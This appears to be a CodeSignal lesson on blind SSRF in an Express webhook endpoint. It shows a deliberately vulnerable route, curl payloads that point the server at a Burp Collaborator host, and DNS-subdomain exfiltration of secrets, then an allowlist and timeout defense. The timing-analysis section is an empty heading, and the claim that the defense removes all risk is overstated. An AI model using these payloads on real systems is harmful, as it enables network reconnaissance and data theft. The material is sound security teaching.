Introduction: When Responses Stay Silent

In the previous lessons, you exploited SSRF vulnerabilities where the server fetched a URL and returned its content directly to you. This made exploitation straightforward — you could see AWS metadata, internal API responses, and other sensitive data immediately. However, many applications make server-side requests without ever showing you the response. They might test a webhook URL, verify a configuration, or trigger a notification, but the response content stays on the server.

This scenario is called Blind SSRF, and while it seems safer because you cannot read the response, attackers have developed clever side-channel techniques to exploit these vulnerabilities. By performing timing analysis, triggering DNS lookups, or observing error messages, attackers can map internal networks, confirm vulnerabilities, and even exfiltrate data. In this lesson, you will learn how to exploit blind SSRF through timing analysis and DNS exfiltration, then build defenses that prevent these attacks using webhook allowlists and timeout controls.

Anatomy of a Blind SSRF Vulnerability

Let's examine a typical blind SSRF vulnerability in a webhook configuration endpoint. Many applications allow users to register webhook URLs that the server will call when certain events occur. To ensure the webhook is reachable, the application tests it by making a request during configuration. However, the application only tells you whether the test succeeded or failed — it never shows you the response content.

Here's what this vulnerable endpoint looks like:

import express from 'express';
import axios from 'axios';

const router = express.Router();

router.post('/configure', async (req, res) => {
  const { webhookUrl } = req.body;
  
  try {
    await axios.post(webhookUrl, { test: true }, { timeout: 5000 });
    res.json({ success: true, message: 'Webhook configured' });
  } catch {
    res.json({ success: false, message: 'Webhook test failed' });
  }
});

export default router;

The endpoint accepts a webhookUrl from the request body and immediately makes a POST request to that URL with a test payload. The timeout setting of 5000 milliseconds means the request will wait up to 5 seconds for a response. Notice what happens after the request: the endpoint only returns success: true or success: false based on whether the request succeeded. The actual response data from webhookUrl is completely ignored.

This appears safer than the URL import vulnerability you exploited earlier because there is no way to read the response. If you point webhookUrl at the AWS metadata service, you will know the request succeeded, but you will not see the instance credentials or any other sensitive data. However, this "blindness" does not eliminate the risk — it just changes the attack techniques you need to use.

Why is this still dangerous? Even without seeing response content, attackers can accomplish several malicious goals. They can scan internal networks to map out services and open ports, confirm the existence of internal systems, trigger side effects on internal APIs (like password resets or account deletions), and exfiltrate data through DNS queries. The fact that you cannot see responses makes exploitation more challenging, but far from impossible.

Port Scanning Through Timing Analysis
DNS-Based Data Exfiltration

While timing analysis helps you discover what exists on the network, DNS exfiltration lets you confirm that SSRF is working and even extract small amounts of data. The technique works by pointing the SSRF vulnerability at a domain you control and watching for DNS lookups that hit your DNS server. When the vulnerable server tries to resolve your domain, it creates a record of the attack that you can observe.

The most common tool for this is Burp Collaborator, which provides you with a unique subdomain like abc123.burpcollaborator.net and monitors all DNS queries and HTTP requests to that domain. When you exploit an SSRF vulnerability, you use this domain as your target, and Burp Collaborator shows you exactly when and how the server contacted it. This confirms the SSRF vulnerability exists even if the application gives no other feedback.

Here's how you would test the vulnerable webhook endpoint using DNS exfiltration:

curl -X POST http://localhost:3000/api/webhooks/configure \
  -H "Content-Type: application/json" \
  -d '{"webhookUrl": "http://abc123.burpcollaborator.net/test"}'

When you make this request, the vulnerable server receives your webhookUrl and attempts to make an HTTP POST request to http://abc123.burpcollaborator.net/test. To do this, it first needs to resolve the hostname abc123.burpcollaborator.net to an IP address, which means it queries DNS. Your controlled DNS server (Burp Collaborator) receives this query and logs it with a timestamp and the IP address of the requester.

Even if the HTTP request fails (perhaps because your Collaborator instance is not actually running a web server), the DNS query proves that the SSRF exists. You now know for certain that the server is making requests to URLs you control, which confirms the vulnerability and gives you a reliable signal for testing different payloads.

DNS exfiltration becomes even more powerful when you can embed data in the hostname itself. Imagine you find a way to access an internal API that returns sensitive data, and you can control how that data is used in subsequent requests. You might craft a URL like this:

curl -X POST http://localhost:3000/api/webhooks/configure \
  -H "Content-Type: application/json" \
  -d '{"webhookUrl": "http://internal-secret-data.abc123.burpcollaborator.net"}'

If internal-secret-data represents actual sensitive information extracted from the server (perhaps through a template injection vulnerability or by reading environment variables), that data gets embedded in the DNS query. When your DNS server receives a query for internal-secret-data.abc123.burpcollaborator.net, you have successfully exfiltrated that information even though the HTTP response content was never visible to you.

The DNS query log would show something like this:

2024-01-15 14:23:45 - DNS Query from 203.0.113.50
Query: internal-secret-data.abc123.burpcollaborator.net
Type: A

You can also use multiple DNS queries to exfiltrate larger amounts of data by breaking it into chunks and making multiple requests. Each chunk becomes part of a different subdomain, and you reassemble the data by analyzing the sequence of DNS queries. While this is more complex than reading response bodies directly, it demonstrates that blind SSRF vulnerabilities can still leak sensitive information through creative exploitation.

Building Comprehensive Blind SSRF Defenses

Now that you understand how attackers exploit blind SSRF, let's build defenses that prevent these attacks. The most effective approach is a webhook domain allowlist that restricts which external domains your application will contact. Unlike a blocklist that tries to enumerate all bad destinations, an allowlist explicitly defines the few legitimate destinations you need to support.

Let's start by defining the allowlist of permitted webhook domains. Most applications only need to send webhooks to a handful of common services:

import express from 'express';
import axios from 'axios';
import { validateExternalUrl } from '../utils/urlValidator';

const router = express.Router();

// Allowlist of permitted webhook domains
const ALLOWED_WEBHOOK_DOMAINS = [
  'hooks.slack.com',
  'discord.com',
  'api.github.com'
];

This allowlist contains three popular webhook destinations: Slack for team notifications, Discord for community integrations, and GitHub for repository events. By limiting webhooks to these specific domains, you eliminate the entire attack surface for SSRF. Attackers cannot scan internal networks, access cloud metadata, or exfiltrate data via DNS because they cannot control the destination URL — it must be one of these three trusted domains.

Now let's parse and validate the user-provided URL:

router.post('/configure', async (req, res) => {
  const { webhookUrl } = req.body;
  
  // Parse URL
  let parsedUrl: URL;
  try {
    parsedUrl = new URL(webhookUrl);
  } catch {
    return res.status(400).json({ error: 'Invalid URL format' });
  }

We use the standard URL class to parse the webhookUrl, which ensures it is well-formed and prevents injection attacks. If parsing fails, we immediately reject the request with a clear error message. This is the same validation pattern you have used throughout this course — never trust raw user input.

Next, we check the hostname against our allowlist:

  // Check against allowlist
  const isAllowed = ALLOWED_WEBHOOK_DOMAINS.some(domain => 
    parsedUrl.hostname === domain || parsedUrl.hostname.endsWith('.' + domain)
  );
  
  if (!isAllowed) {
    return res.status(400).json({ error: 'Webhook domain not in allowlist' });
  }

The isAllowed check uses some() to test whether the hostname matches any allowed domain. It accepts both exact matches (parsedUrl.hostname === domain) and subdomains (parsedUrl.hostname.endsWith('.' + domain)). For example, both hooks.slack.com and hooks.us-west-1.slack.com would be allowed because they match or are subdomains of hooks.slack.com. However, evil.com or hooks.slack.com.attacker.com would be rejected.

Why allow subdomains? Many legitimate services use geographic or functional subdomains for webhooks. Slack might use hooks.us-west-1.slack.com for certain regions, and Discord uses various subdomains for different server clusters. By allowing subdomains, you maintain compatibility with these services while still preventing arbitrary domains.

Now we add an additional layer of defense by calling the validateExternalUrl utility you built in the previous lesson:

  // Additional validation
  if (!await validateExternalUrl(webhookUrl)) {
    return res.status(400).json({ error: 'URL validation failed' });
  }

This additional check uses the comprehensive IP-based validation you implemented earlier, which performs DNS resolution and verifies that the URL does not point to private IP ranges, loopback addresses, or cloud metadata endpoints. While the allowlist already prevents most attacks, this extra validation provides defense-in-depth. If an attacker somehow compromises one of the allowed domains or exploits a DNS rebinding vulnerability, the IP-based validation acts as a second barrier.

Finally, we make the webhook request with security-focused configuration:

  try {
    await axios.post(webhookUrl, { test: true }, { 
      timeout: 5000,
      maxRedirects: 0
    });
    res.json({ success: true });
  } catch {
    res.json({ success: false });
  }
});

export default router;

The timeout: 5000 setting limits each request to 5 seconds, which prevents timing-based port scans from being too precise. While attackers can still measure timing differences, the timeout makes it harder to distinguish between slightly different response times. More importantly, it prevents denial-of-service attacks where an attacker provides a URL that never responds, tying up your server's connection pool indefinitely.

The maxRedirects: 0 setting disables automatic redirect following, which prevents redirect chain attacks you learned about in the previous lesson. Even though the allowlist already restricts which domains can be targeted, disabling redirects ensures that an attacker cannot compromise a legitimate webhook endpoint and use it to redirect to internal targets.

Does this completely prevent blind SSRF? Yes, when implemented correctly. The allowlist eliminates the ability to target arbitrary URLs, which removes all SSRF attack vectors. Attackers cannot scan internal networks, access cloud metadata, or perform DNS exfiltration because they cannot control where the webhook request goes. The combination of allowlist validation, IP-based checks, timeout limits, and disabled redirects creates multiple layers of defense that work together to completely eliminate blind SSRF risks in webhook configurations.

Summary and Practice Preparation

You have learned that blind SSRF vulnerabilities can still be exploited even when response content is hidden. Attackers use timing analysis to scan internal ports by measuring how long requests take, and they use DNS exfiltration to confirm vulnerabilities and leak data through controlled DNS servers. These side-channel techniques make blind SSRF nearly as dangerous as traditional SSRF.

The defense requires a webhook domain allowlist that restricts destinations to known-safe services like Slack, Discord, and GitHub, combined with the comprehensive IP-based validation you built in previous lessons. Adding request timeouts and disabling redirects provides additional protection against timing attacks and redirect chains. In the upcoming practice exercises, you will exploit blind SSRF vulnerabilities using timing and DNS techniques, then implement robust allowlist-based defenses to eliminate these risks completely.

Sign up
Join the 1M+ learners on CodeSignal
Be a part of our community of 1M+ users who develop and demonstrate their skills on CodeSignal